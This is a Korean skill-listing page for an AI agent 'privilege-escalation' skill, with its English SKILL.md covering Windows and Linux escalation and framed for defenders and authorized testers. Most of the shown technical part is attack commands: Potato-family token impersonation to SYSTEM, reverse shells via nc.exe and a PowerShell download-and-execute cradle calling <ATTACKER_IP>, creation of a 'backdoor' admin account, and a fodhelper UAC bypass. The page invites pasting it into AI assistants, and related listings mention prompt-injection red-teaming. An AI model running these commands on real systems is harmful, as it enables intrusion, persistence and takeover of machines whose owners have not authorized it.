privilege-escalation
하는 일
이 지식 베이스는 낮은 권한의 계정이 Windows와 Linux 시스템에서 더 높은 권한을 얻는 방식을 다룹니다. 권한 설정을 검토하는 방어자와 허가된 테스터를 위한 것입니다.
사용하는 경우
- ✓허가된 테스트가 낮은 권한 계정에서 시작해 관리자 권한으로 가는 경로를 찾아야 할 때.
- ✓팀이 가장(impersonation) 권한을 가진 Windows 서비스 계정을 검토하는 경우.
- ✓Linux 팀이 sudo, 특수 권한 파일, 커널 버전을 확인하려는 경우.
스킬 링크
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/post-exploit/privilege-escalation/SKILL.md복사해서 AI(Claude, ChatGPT, Cursor)에 붙여넣고 지침을 따르도록 요청하세요.
사용 방법
가장 쉬운 방법입니다. 메시지를 복사해 AI에 붙여넣으세요. AI가 스킬을 읽고 지침을 따릅니다.
바로 붙여넣을 수 있는 메시지
Claude Code, Codex, Cursor용입니다. 프로젝트 폴더에서 실행하면 스킬이 설치됩니다.
SKILL.md를 다운로드해 에이전트의 스킬 폴더에 넣으세요.
AI에게 요청하는 예시
“Windows 서버 한 대에 낮은 권한 계정이 있습니다. 테스트 범위 안에서 관리자 권한에 닿을 수 있는지 확인해 주세요.”
매주 새 스킬 5개. 읽는 데 1분.
작동 방식
에이전트는 먼저 권한 설정을 열거한 뒤, 서비스 권한과 가장 권한처럼 가능성이 높은 경로를 확인하고, 고쳐야 할 경로를 보고합니다.
기술 내용 (원본 SKILL.md)
작성자의 영어 원문을 GitHub에서 그대로 가져왔습니다.
Privilege Escalation Knowledge Base
Privilege escalation raises access from a low-privilege foothold to SYSTEM/root or administrative context. Windows and Linux have fundamentally different escalation paths. Always enumerate before exploiting — automated tools identify the fastest route.
Quick Reference
# Windows — GodPotato (service account → SYSTEM)
GodPotato.exe -cmd "cmd /c whoami > C:\Windows\Temp\proof.txt"
# Windows — PrintSpoofer (service account → SYSTEM)
PrintSpoofer.exe -i -c cmd
# Windows — winPEAS automated enumeration
winPEASx64.exe servicesinfo applicationsinfo > C:\Windows\Temp\winpeas.txt
# Linux — linPEAS automated enumeration
./linpeas.sh -a | tee linpeas_<TARGET>.txt
# Linux — find SUID binaries
find / -perm -4000 -type f 2>/dev/null | tee suid_<TARGET>.txt
# Linux — check sudo privileges
sudo -l
MITRE ATT&CK Mapping
| Technique ID | Name | Tools |
|---|---|---|
| T1134.001 | Token Impersonation/Theft | GodPotato, PrintSpoofer, SigmaPotato |
| T1548.002 | Bypass UAC | fodhelper.exe, eventvwr.exe, CMSTPLUA COM |
| T1574.001 | DLL Search Order Hijacking | Custom DLL placement |
| T1068 | Exploitation for Privilege Escalation | Kernel exploits, linux-exploit-suggester |
| T1053.003 | Scheduled Task/Cron | Writable cron scripts, PATH injection |
1. Windows Token Impersonation — Potato Family
GodPotato (Most Versatile)
# Execute command as SYSTEM (DCOM-based token impersonation)
GodPotato.exe -cmd "cmd /c whoami"
# Reverse shell as SYSTEM
GodPotato.exe -cmd "cmd /c C:\Windows\Temp\nc.exe <ATTACKER_IP> 4444 -e cmd.exe"
# Add local admin user
GodPotato.exe -cmd "net user backdoor P@ssw0rd123 /add && net localgroup administrators backdoor /add"
# Execute PowerShell payload
GodPotato.exe -cmd "powershell -ep bypass -c IEX(New-Object Net.WebClient).DownloadString('http://<ATTACKER_IP>/shell.ps1')"
GodPotato Details:
- Works on Windows 8 through 11, Server 2012 through 2022
- Exploits DCOM (Distributed COM) OXID resolver
- Requires:
SeImpersonatePrivilegeorSeAssignPrimaryTokenPrivilege - Common contexts: IIS AppPool, SQL Server, service accounts
PrintSpoofer (Print Spooler Named Pipe)
# Interactive SYSTEM shell
PrintSpoofer.exe -i -c cmd
# Execute specific command as SYSTEM
PrintSpoofer.exe -c "cmd /c whoami > C:\Windows\Temp\proof.txt"
# Reverse shell
PrintSpoofer.exe -c "C:\Windows\Temp\nc.exe <ATTACKER_IP> 4444 -e cmd.exe"
# With PowerShell
PrintSpoofer.exe -i -c powershell.exe
PrintSpoofer Details:
- Works on Windows 10, Server 2016 and 2019
- Exploits Print Spooler service named pipe impersonation
- Requires:
SeImpersonatePrivilege - May fail if Print Spooler service is disabled (hardened environments)
SigmaPotato (Extended GodPotato Fork)
# Standard SYSTEM execution
SigmaPotato.exe --revshell -l <ATTACKER_IP> -p 4444
# Execute arbitrary command
SigmaPotato.exe "cmd /c whoami"
# Uses .NET reflection for in-memory execution
SigmaPotato.exe "powershell -ep bypass -c Get-Process"
SigmaPotato Details:
- Extended OS support beyond GodPotato
- Uses .NET reflection for flexibility
- Same prerequisites:
SeImpersonatePrivilege
Choosing the Right Potato
| Tool | OS Range | Method | Best For |
|---|---|---|---|
| GodPotato | Win 8-11, 2012-2022 | DCOM OXID | Default choice, widest support |
| PrintSpoofer | Win 10, 2016-2019 | Print Spooler pipe | When Spooler is running |
| SigmaPotato | Extended range | DCOM + .NET reflection | GodPotato alternative |
| JuicyPotato | Win 7-10, 2008-2016 | DCOM BITS | Legacy systems only |
| RoguePotato | Win 10 1809+, 2019 | OXID + RPC | When OXID resolver patched |
Check Prerequisites
# Verify you have impersonation privileges
whoami /priv
# Look for: SeImpersonatePrivilege or SeAssignPrimaryTokenPrivilege
# Common service accounts with SeImpersonatePrivilege:
# - IIS AppPool\DefaultAppPool
# - NT Service\MSSQLSERVER
# - Local Service / Network Service (some configs)
2. UAC Bypass Techniques
fodhelper.exe Bypass
# Set registry key to execute payload when fodhelper runs
reg add HKCU\Software\Classes\ms-settings\Shell\Open\command /d "C:\Windows\Temp\payload.exe" /f
reg add HKCU\Software\Classes\ms-settings\Shell\Open\command /v DelegateExecute /t REG_SZ /f
# Trigger UAC bypass
fodhelper.exe
# Cleanup
reg delete HKCU\Software\Classes\ms-settings /f
자주 묻는 질문
왜 먼저 열거하나요?
자동 점검이 가장 빠른 경로를 드러내므로 테스터가 추측하지 않는다고 가이드는 말합니다.
토큰 가장(token impersonation)이란 무엇인가요?
서비스 계정이 다른 로그인 세션의 권한을 넘겨받을 수 있는 것이며, 가이드는 이를 흔한 위험으로 봅니다.
방어자는 어떻게 줄이나요?
가장 권한을 제한하고, 시스템에 패치를 적용하며, 필요 없는 특수 권한을 제거합니다.
상세 정보
작성자의 원본 설명
Host privilege escalation — Windows token impersonation, UAC bypass, service abuse, DLL hijacking, Linux SUID/sudo/kernel exploits, automated enumeration.
인기도
- GitHub 스타
- 6.5k
- 순위
- #14138
- 라이선스
- Apache-2.0
- 업데이트
- 2026. 11. 1.
댓글
- …
이 저장소의 다른 스킬
detector-overview
6.5k에이전트가 스캐너가 표시한 코드를 읽고, 표시된 곳 중 어디가 실제 보안 버그이고 어디가 오탐인지 판단하도록 돕습니다.
exploiter-overview
6.5k에이전트가 확인된 여러 보안 약점을 하나의 테스트 체인으로 묶고, 그 체인이 어디까지 닿을 수 있는지 확인하도록 돕습니다.
llm-redteam-overview
6.5k에이전트가 프롬프트 인젝션부터 모델 악용까지 15개 전술 그룹 중 테스트에 맞는 AI 레드팀 가이드를 찾도록 돕습니다.
aatmf-t01-prompt-injection
6.5k숨겨진 지시가 AI 시스템을 덮어쓰려 하는 프롬프트 인젝션을 설명해, 보안 테스터가 이를 점검할 수 있게 합니다.